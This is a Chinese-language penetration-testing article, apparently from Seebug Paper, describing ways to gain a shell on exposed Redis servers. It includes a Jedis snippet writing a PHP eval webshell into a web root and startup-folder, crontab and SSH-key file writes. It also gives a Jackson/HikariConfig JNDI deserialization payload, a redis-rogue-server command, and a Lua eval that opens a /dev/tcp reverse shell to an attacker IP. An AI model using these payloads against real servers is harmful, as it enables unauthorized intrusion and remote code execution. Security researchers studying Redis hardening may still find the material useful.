作者:淺藍
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

在我以往對 redis 服務的滲透經驗中總結了以下幾點可以 getshell 的方法。

  • 寫文件
    • Windows
      • 開機自啟動目錄
    • Linux
      • crontab
      • SSH key
    • webshell
  • 反序列化
    • java 反序列化
      • jackson
      • fastjson
      • jdk/Hessian 反序列化
    • python 反序列化
    • php 反序列化
  • 主從復制 RCE
  • Lua RCE

下面我會逐一對這幾種redis getshell的方法展開講解

寫文件

寫文件這個功能其實就是通過修改 redis 的 dbfilename、dir 配置項。

通常來說掌控了寫文件也就完成了 rce 的一半。

這幾種寫文件來 getshell 的方式也是最有效最簡單的。

寫開機自啟動

在 Windows 系統中有一個特殊的目錄,在這個目錄下的文件在開機的時候都會被運行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把這段JS執行 calc 命令的代碼寫到了該目錄下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

當系統啟動時就會隨之運行,從而執行攻擊者的惡意代碼。

crontab

在 linux 系的系統有著定時任務的功能,只要文件可以寫到定時任務目錄里就可以執行系統命令。

/var/spool/cron/用戶名
/var/spool/cron/crontabs/用戶名
/etc/crontab
/etc/cron.d/xxx

注意:有些系統對 crontab 的文件內容的校驗比較嚴格可能會導致無法執行定時任務。

SSH Key

linux 系統使用 ssh 的用戶目錄下都會有一個隱藏文件夾/.ssh/

只要把我們的公鑰寫在對方的 .ssh/authorized_keys 文件里再去用 ssh 連接就不需服務器的賬號密碼了

webshell

這種方法就不用再多講了,只要知道 web 絕對路徑并且權限足夠就可以寫個 webshell。

寫 webshell 的代碼在 cn.b1ue.redis.filewrite.Webshell 類。

public class Webshell {

    public static void main(String[] args) {

        Jedis jedis = new Jedis("127.0.0.1", 6379);
        jedis.flushAll();
        jedis.set("x", "\n\n<?php eval($_REQUEST['x']); ?>\n\n");
        jedis.configSet("dir","/home/web/wwwroot/");
        jedis.configSet("dbfilename","x.php");
        jedis.save();
        jedis.close();

    }

}

反序列化

我在看其他人寫的一些關于 redis getshell 的文章中都沒有提到過 redis 反序列化的問題,所以這篇文章重點寫一下。

其實 redis 反序列化本質上不是 redis 的漏洞,而是使用 redis 的應用反序列化了 redis 的數據而引起的漏洞,redis 本就是一個緩存服務器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數據。

我舉例兩個常見場景

  1. java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。

  2. 程序員經常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數據就會被序列化存儲到 redis 里,在被查詢時就會優先從 redis 里將對象反序列化一遍。

redis 一般存儲的都是 java 序列化對象,php、python 比較少見,我見得比較多的就是 fastjson 和 jackson 類型的序列化數據。jdk 原生的序列化數據也有。

因為要從 redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以這也就是為什么可以通過反序列化 getshell 的原因。

序列化數據類型分辨起來也很簡單

  • jackson:關注 json 對象是不是數組,第一個元素看起來像不像類名,例如["com.blue.bean.User",xxx]
  • fastjson:關注有沒有 @type 字段
  • jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名

所以以后如果再遇到 redis 服務器的時候寫文件沒法 getshell,不妨把 redis 的數據挑幾個看看,是不是符合序列化數據的特征。

fastjson 和 jackson 都一樣,所以只舉例一個

jackson 反序列化

查看 redis 里的數據是 jackson 的格式可以考慮將這些 value 改成惡意的反序列化代碼。當使用這個 redis 服務的 java 應用要從中取出緩存對象就會觸發反序列化。

為了更貼近真實場景,我這里寫了一個 springboot+redis+jackson 整合的 demo。

RedisConfig.java也是網上拷的,大多數程序員都是使用的這種方式與 redis 整合。

這里只用關注一個細節,在jackson2JsonRedisSerializer()方法中由于反序列化的對象類型的不確定性以及對 redis 的盲目信任通常都會開啟defaulttyping

TestController.java 里寫了兩個接口,login 接口會把 User 對象直接存儲到 redis。home 接口會將 username 參數當做 key 去 redis 里查詢。

在“存儲”和“查詢”的時候實際上就是在“序列化”與“反序列化”。

正常情況下,邏輯是這樣的。

調用login接口 -> 序列化User對象并存儲到redis -> 調用home接口 -> 從redis取出數據并反序列化

假設我有 redis 的權限,那么我只要先調用登錄接口讓 login 接口序列化 User 對象到 redis,再把 redis 里的這條序列化數據篡改成準備好的惡意反序列化數據。當我再去訪問 home 接口時,從 redis 中取出來的 value 也就是被我篡改后的反序列化代碼,從而導致觸發了反序列化漏洞。

搞明白了這些邏輯,就可以做一個簡單的實驗。

這是正常情況下序列化與反序列化的情況,這里要做的就是把 key 為blue的值替換成惡意的反序列化代碼。

["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1099/Exploit"}]

當再次反序列化的時候就觸發了 JNDI 連接請求。

jdk 反序列化

jdk類型的反序列化數據也是在 redis 存儲內容中比較常見的。

開發者通常會把他們編碼成 base64 再存儲。

和 Jackson 一個道理,篡改 redis 里面的反序列化數據,把惡意的序列化字節碼存儲進去,等 java 應用使用到它的時候就會反序列化觸發漏洞。

主從復制 RCE

這是去年曝出來的 redis rce 方法,具體細節可以參考《15-redis-post-exploitation.pdf》

exploit 參考這兩個 github 項目,Ridter/redis-rcen0b0dyCN/redis-rogue-server 可影響版本范圍 <=5.0.5 ,我這里用redisrogue-server做演示,里面有已經編譯好的 exp.so

直接執行命令即可得到一個正向 shell

python redis-rogue-server.py --rhost 192.168.91.147 --lhost 192.168.91.1

Lua RCE

這種方法一直有流傳但沒有見到多少人寫過關于 Lua RCE 的資料。

redis Lua RCE 漏洞的 exploit 在dengxun@QAX-A-Team的一個 github 項目QAX-A-Team/redis_lua_exploit。 這里主要以演示 getshell 為主,關于這個漏洞的分析細節可以參考《在Redis中構建Lua虛擬機的穩定攻擊路徑》

我準備的環境如下。

Centos 6.5 + redis 2.6.16

下載QAX-A-Team/redis_lua_exploit,修改redis_lua.py里的 host 為目標 IP。

執行后得到這個提示說明可以執行命令了,通過redis-cli連接到目標 redis ,執行eval "tonumber('id', 8)" 0這段 lua,目標服務器就會執行id命令。

也可以直接反彈 shell。

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0

寫在最后

我已將上文用到的代碼上傳到了 github,請參考iSafeBlue/redis-rce

參考:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1169/